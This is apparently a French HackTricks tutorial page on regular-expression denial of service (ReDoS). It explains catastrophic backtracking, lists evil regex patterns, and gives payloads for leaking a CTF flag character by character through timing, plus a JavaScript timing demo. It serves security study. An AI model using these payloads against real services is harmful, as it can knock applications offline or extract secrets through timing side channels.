6.9 KiB
Déni de service par expression régulière - ReDoS
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Déni de service par expression régulière (ReDoS)
Un Déni de service par expression régulière (ReDoS) se produit lorsqu'une personne exploite les faiblesses de fonctionnement des expressions régulières (une méthode de recherche et de correspondance de motifs dans du texte). Parfois, lors de l'utilisation d'expressions régulières, elles peuvent devenir très lentes, surtout si le morceau de texte avec lequel elles travaillent devient plus grand. Cette lenteur peut devenir si importante qu'elle augmente très rapidement même avec de petites augmentations de la taille du texte. Les attaquants peuvent utiliser ce problème pour faire en sorte qu'un programme utilisant des expressions régulières cesse de fonctionner correctement pendant longtemps.
L'algorithme naïf de regex problématique
Consultez les détails sur https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
Regex malveillantes
Un motif d'expression régulière malveillant est celui qui peut rester bloqué sur une entrée fabriquée provoquant un DoS. Les motifs de regex malveillants contiennent généralement des regroupements avec répétition et répétition ou alternance avec chevauchement à l'intérieur du groupe répété. Quelques exemples de motifs malveillants incluent :
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} pour x > 10
Tous ceux-ci sont vulnérables à l'entrée aaaaaaaaaaaaaaaaaaaaaaaa!
.
Charges utiles ReDoS
Exfiltration de chaîne via ReDoS
Dans un CTF (ou une prime de bug), peut-être que vous contrôlez l'expression régulière avec laquelle une information sensible (le drapeau) est mise en correspondance. Ensuite, il peut être utile de faire geler la page (délai d'attente ou temps de traitement plus long) si une Regex correspond et pas si elle ne le fait pas. De cette façon, vous pourrez exfiltrer la chaîne caractère par caractère :
- Dans ce post vous pouvez trouver cette règle ReDoS :
^(?=<flag>)((.*)*)*salt$
- Exemple :
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- Dans ce writeup vous pouvez trouver celle-ci :
<flag>(((((((.*)*)*)*)*)*)*)!
- Dans ce writeup il a utilisé :
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
Contrôle de l'entrée et de l'expression régulière ReDoS
Les exemples suivants sont des exemples de ReDoS où vous contrôlez à la fois l'entrée et la regex :
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Outils
Références
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.